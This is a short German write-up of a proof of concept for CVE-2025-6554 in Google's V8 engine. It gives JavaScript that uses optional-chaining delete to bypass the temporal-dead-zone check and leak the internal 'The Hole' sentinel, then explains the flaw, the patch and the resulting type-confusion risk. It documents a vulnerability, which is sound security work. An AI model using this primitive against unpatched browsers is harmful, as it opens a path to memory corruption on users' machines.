
Proof-of-Concept-Exploit für CVE-2025-6554: Typenverwechslung der V8-JavaScript-Engine mittels TDZ-Umgehung bei optional chaining delete, was die The-Hole-Escape-Technik für Speicherkorruption ermöglicht.
function leak_hole() {
let x;
delete x?.[y]?.a;
return y;
let y;
}
function pwn() {
let hole = leak_hole();
%DebugPrint(hole);
}
pwn();
Eine Variable y wurde vor ihrer Deklaration zugegriffen. Normalerweise sollte dies einen ReferenceError (TDZ) auslösen, aber in älteren V8, wenn es mit delete x?.[y] kombiniert wurde, schlug die Prüfung fehl und gab den internen Sentinel-Wert 'The Hole' zurück.
V8 prüfte nur einmal auf TDZ und nahm dann fälschlicherweise an, dass y gültig sei. Dadurch konnte 'The Hole' in Benutzercode entweichen.
Der Patch erzwingt eine neue TDZ-Prüfung (ThrowReferenceErrorIfHole) bei jedem Zugriff, sodass y vor der Initialisierung immer einen Fehler auslöst.
Auswirkung: Angreifer konnten 'The Hole' einfangen und für Typverwirrung, Stack-Tricks oder Scope-Umgehungen missbrauchen.